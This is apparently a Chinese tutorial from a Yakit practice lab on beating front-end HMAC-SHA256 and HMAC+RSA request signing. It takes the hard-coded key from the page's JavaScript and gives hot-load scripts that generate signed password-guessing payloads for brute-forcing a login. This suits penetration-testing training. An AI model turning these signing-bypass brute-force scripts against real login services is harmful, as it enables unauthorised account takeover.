Yakit应对前端加密
Yakit靶场¶

首次启动需要先安装靶场,随后启动后,回显一个监听地址
HmacSHA256加密¶

访问后可以看到存在加密,其中signature代表签名

提交后,可以看到验证逻辑为先验证签名,再验证凭据是否正确
问题就在于签名和key在哪里能找到,签名计算的算法是什么?

翻看前端js,发现加密相关代码
JavaScript
function generateKey() {
return CryptoJS.enc.Utf8.parse("1234123412341234") // 十六位十六进制数作为密钥
}
const key = generateKey()
// 解密方法
function Decrypt(word) {
return "";
}
// 加密方法
function Encrypt(word) {
console.info(word);
return CryptoJS.HmacSHA256(word, key.toString(CryptoJS.enc.Utf8)).toString();
}
function getData() {
return {
"username": document.getElementById("username").value,
"password": document.getElementById("password").value,
}
}
function outputObj(jsonData) {
const word = `username=${jsonData.username}&password=${jsonData.password}`;;
return {
"signature": Encrypt(word),
"key": key.toString(),
username: jsonData.username, password: jsonData.password,
}
}
可以看到key为CryptoJS.enc.Utf8.parse("1234123412341234"),该值为定值,重放不需要修改
signature为CryptoJS.HmacSHA256(word, key.toString(CryptoJS.enc.Utf8)).toString(),其中key已经有了,我们需要看看word是什么

在const word = username=${jsonData.username}&password=${jsonData.password};;处下断点,调试看到
接下来通过yakit热加载功能实现暴力破解
Python
encryptData = func(p) {
//sha256key值
key = codec.DecodeHex("31323334313233343132333431323334")
//账号密码
username = ["admin"]
password = x"{{x(pass_top25)}}"
//定义列表变量resullist
resultlist = []
//for循环嵌套username、password排列组合
for uname in username {
for passwd in password {
//定义message:为加密前的参数格式
message = f`username=${uname}&password=${passwd}`
//结果=十六进制编码(ase256编码)=sign结果值
result = codec.EncodeToHex(codec.HmacSha256(key, message))
//m为整个请求体
m = {
"signature" : result,
"key" : "31323334313233343132333431323334" ,
"username" : uname,
"password" : passwd
}
i = json.dumps(m)
resultlist.Append(i)
}
}
return(resultlist)
}

可以看到能够爆破用户名密码
HmacSHA256+RSA¶

Text Only
{
"signature": "82a71807209426418c7a407e28f9336896384d22218d1fbf01841278e5f7cb7d4771cd3c4c81cf358e95102661d3babcfbcb94e1b5c511aa193e0f105a9e2724d6e2b2a5628c0bd68a811c1d9833c1c9d1c6adc88a10e84001ae2de739d663c22b2d1c982306621efea17ac92c6eb193188116e34cd6a29573d853a17c2e077418f23c94f7407488a17e2ca3a5ca7dbed4ce2ea83550275bd63cb34893c9e17e316def155b260b300d68ee3c21373dfc0504ed1bee7acafb3573f2c68d775275beaceedc78efe612c906d11710a841f26a392580b10f6ae8353bad7ae53940a0e8c2d23483ae9358e745f306e017519eb32beb77952c13683e314454ca99fab7",
"key": "31323334313233343132333431323334",
"username": "root",
"password": "test"
}
找到加密逻辑的js文件
JavaScript
setTimeout(function(){
fetch('/crypto/js/rsa/public/key').then(async function(rsp) {
pubkey = await rsp.text()
document.getElementById('submit').disabled = false;
document.getElementById('submit').innerText = '提交表单数据';
console.info(pubkey)
})
},300)
function generateKey() {
return CryptoJS.enc.Utf8.parse("1234123412341234") // 十六位十六进制数作为密钥
}
const key = generateKey()
// 解密方法
function Decrypt(word) {
return "";
}
// 加密方法
function Encrypt(word) {
console.info(word);
return KEYUTIL.getKey(pubkey).encrypt(CryptoJS.HmacSHA256(word, key.toString(CryptoJS.enc.Utf8)).toString());
}
function getData() {
return {
"username": document.getElementById("username").value,
"password": document.getElementById("password").value,
}
}
function outputObj(jsonData) {
const word = `username=${jsonData.username}&password=${jsonData.password}`;;
return {
"signature": Encrypt(word),
"key": key.toString(),
username: jsonData.username, password: jsonData.password,
}
}
可以看到singature加密方式为先HmacSHA256,然后再进行RSA加密,我们现在需要获取到pubkey(RSA公钥)
JavaScript
setTimeout(function(){
fetch('/crypto/js/rsa/public/key').then(async function(rsp) {
pubkey = await rsp.text()
document.getElementById('submit').disabled = false;
document.getElementById('submit').innerText = '提交表单数据';
console.info(pubkey)
})
},300)
我们看到这个函数的作用就是从/crypto/js/rsa/public/key接口获取公钥,在浏览器访问试试

获取公钥为:
Text Only
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzWgt8Z5n1qgao2XqBtKE
kjO28bKTFREQ5S38E4rqgGrBRBTB4J3FD+d4PWpUxlLzyifaP6koI//wWYtmISF9
0PB/S/CwsIj8W8WCeqsACDrYhfJGv6rTK1O2oE9No9dykCNDe+/1d6Pf2UPF1Tnl
uU7OwErweVeFdGRvbd2yox/4pDVP5GyAh1Bgq6W3J0752zyXH/29kyC/U31iC742
CSL0fA2bDtmj5fhoicoWR5wj9t1fdAJst7PqG8Oe71tO4In8QUla52oKRRq+mLwL
Rmgp99g/dVhmep4Oz5VtMR9+ZXVVOKfXhceOWWan8Lu0fGsNWcGK3thxeh+EgzC5
rQIDAQAB
-----END PUBLIC KEY-----
接着编写热加载代码(在上一个例子的基础上加上RSA加密即可)
Python
HmacSHA256RSAEncrypt = func(p) {
//sha256key值
key = codec.DecodeHex("31323334313233343132333431323334")~
// RSA公钥
rsa_pub_key = `-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzWgt8Z5n1qgao2XqBtKE
kjO28bKTFREQ5S38E4rqgGrBRBTB4J3FD+d4PWpUxlLzyifaP6koI//wWYtmISF9
0PB/S/CwsIj8W8WCeqsACDrYhfJGv6rTK1O2oE9No9dykCNDe+/1d6Pf2UPF1Tnl
uU7OwErweVeFdGRvbd2yox/4pDVP5GyAh1Bgq6W3J0752zyXH/29kyC/U31iC742
CSL0fA2bDtmj5fhoicoWR5wj9t1fdAJst7PqG8Oe71tO4In8QUla52oKRRq+mLwL
Rmgp99g/dVhmep4Oz5VtMR9+ZXVVOKfXhceOWWan8Lu0fGsNWcGK3thxeh+EgzC5
rQIDAQAB
-----END PUBLIC KEY-----`
//账号密码
username = ["admin"]
password = x"{{x(pass_top25)}}"
//定义列表变量resullist
resultlist = []
//for循环嵌套username、password排列组合
for uname in username {
for passwd in password {
//定义message:为加密前的参数格式
message = f`username=${uname}&password=${passwd}`
//结果=十六进制编码(ase256编码)=sign结果值
hmac_sha256_value = codec.EncodeToHex(codec.HmacSha256(key, message))
result = codec.EncodeToHex(codec.RSAEncryptWithPKCS1v15(rsa_pub_key, hmac_sha256_value)~)
//m为整个请求体
m = {
"signature" : result,
"key" : "31323334313233343132333431323334" ,
"username" : uname,
"password" : passwd
}
i = json.dumps(m)
resultlist.Append(i)
}
}
return(resultlist)
}

可以看到签名验证成功,可以爆破用户名和密码